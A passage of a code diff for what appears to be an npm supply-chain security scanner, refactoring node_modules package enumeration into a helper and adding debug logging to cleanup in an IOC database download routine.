- } catch { /* skip unreadable */ }
558
- }
559
- } catch { /* no node_modules readable */ }
560
-
492
+ const pkgNames = listInstalledPackages(targetPath);
493
+ {
561
494
  const PUBLISH_CONCURRENCY = 5;
562
495
  for (let i = 0; i < pkgNames.length; i += PUBLISH_CONCURRENCY) {
563
496
  const batch = pkgNames.slice(i, i + PUBLISH_CONCURRENCY);
@@ -585,33 +518,8 @@ async function run(targetPath, options = {}) {
585
518
  if (!options._capture && !options.json) {
586
519
  console.log('[TEMPORAL-MAINTAINER] Analyzing maintainer changes (this makes network requests)...\n');
587
520
  }
588
- const nodeModulesPath = path.join(targetPath, 'node_modules');
589
- if (fs.existsSync(nodeModulesPath)) {
590
- const pkgNames = [];
591
- try {
592
- const items = fs.readdirSync(nodeModulesPath);
593
- for (const item of items) {
594
- if (item.startsWith('.')) continue;
595
- const itemPath = path.join(nodeModulesPath, item);
596
- try {
597
- const stat = fs.lstatSync(itemPath);
598
- if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
599
- if (item.startsWith('@')) {
600
- const scopedItems = fs.readdirSync(itemPath);
601
- for (const si of scopedItems) {
602
- const sp = path.join(itemPath, si);
603
- const ss = fs.lstatSync(sp);
604
- if (!ss.isSymbolicLink() && ss.isDirectory()) {
605
- pkgNames.push(`${item}/${si}`);
606
- }
607
- }
608
- } else {
609
- pkgNames.push(item);
610
- }
611
- } catch { /* skip unreadable */ }
612
- }
613
- } catch { /* no node_modules readable */ }
614
-
521
+ const pkgNames = listInstalledPackages(targetPath);
522
+ {
615
523
  const MAINTAINER_CONCURRENCY = 5;
616
524
  for (let i = 0; i < pkgNames.length; i += MAINTAINER_CONCURRENCY) {
617
525
  const batch = pkgNames.slice(i, i + MAINTAINER_CONCURRENCY);
@@ -4,6 +4,7 @@ const fs = require('fs');
4
4
  const path = require('path');
5
5
  const os = require('os');
6
6
  const zlib = require('zlib');
7
+ const { debugLog } = require('../utils.js');
7
8
 
8
9
  // GitHub Releases URL for pre-compressed IOC database
9
10
  const IOCS_URL = 'https://github.com/DNSZLSK/muad-dib/releases/latest/download/iocs.json.gz';
@@ -87,12 +88,12 @@ function downloadAndDecompress(url, destPath) {
87
88
 
88
89
  gunzip.on('error', (err) => {
89
90
  fileStream.destroy();
90
- try { fs.unlinkSync(tmpPath); } catch {}
91
+ try { fs.unlinkSync(tmpPath); } catch (e) { debugLog('cleanup failed:', e.message); }
91
92
  reject(new Error('Decompression failed: ' + err.message));
92
93
  });
93
94
 
94
95
  fileStream.on('error', (err) => {
95
- try { fs.unlinkSync(tmpPath); } catch {}
96
+ try { fs.unlinkSync(tmpPath); } catch (e) { debugLog('cleanup failed:', e.message); }
96
97
  reject(err);
97
98
  });
98
99
 
@@ -102,7 +103,7 @@ function downloadAndDecompress(url, destPath) {
102
103
  fs.renameSync(tmpPath, destPath);
103
104
  resolve();
104
105
  } catch (err) {
105
- try { fs.unlinkSync(tmpPath); } catch {}
106
+ try { fs.unlinkSync(tmpPath); } catch (e) { debugLog('cleanup failed:', e.message); }
106
107
  reject(err);
107
108
  }
108
109
  });
@@ -110,7 +111,7 @@ function downloadAndDecompress(url, destPath) {
110
111
  res.on('error', (err) => {
111
112
  gunzip.destroy();
112
113
  fileStream.destroy();
113
- try { fs.unlinkSync(tmpPath); } catch {}
114
+ try { fs.unlinkSync(tmpPath); } catch (e) { debugLog('cleanup failed:', e.message); }
114
115
  reject(err);
115
116
  });
116
117